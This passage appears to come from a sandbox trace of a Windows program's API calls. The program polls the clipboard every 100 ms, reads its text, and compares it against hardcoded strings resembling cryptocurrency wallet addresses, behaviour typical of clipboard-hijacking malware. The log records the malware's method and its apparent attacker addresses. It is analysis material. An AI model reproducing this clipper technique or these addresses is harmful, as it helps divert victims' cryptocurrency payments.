| out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0047.657] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0047.657] Sleep (dwMilliseconds=0x64) [0047.771] GetOpenClipboardWindow () returned 0x0 [0047.771] OpenClipboard (hWndNewOwner=0x0) returned 1 [0047.771] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0047.771] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0047.771] GlobalSize (hMem=0x6069b8) returned 0x42 [0047.771] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0047.771] GlobalUnlock (hMem=0x6069b8) returned 1 [0047.771] CloseClipboard () returned 1 [0047.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.771] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.772] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.774] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0047.775] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0047.775] Sleep (dwMilliseconds=0x64) [0047.890] GetOpenClipboardWindow () returned 0x0 [0047.908] OpenClipboard (hWndNewOwner=0x0) returned 1 [0047.908] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0047.909] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0047.909] GlobalSize (hMem=0x6069b8) returned 0x42 [0047.909] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0047.909] GlobalUnlock (hMem=0x6069b8) returned 1 [0047.909] CloseClipboard () returned 1 [0047.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.909] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 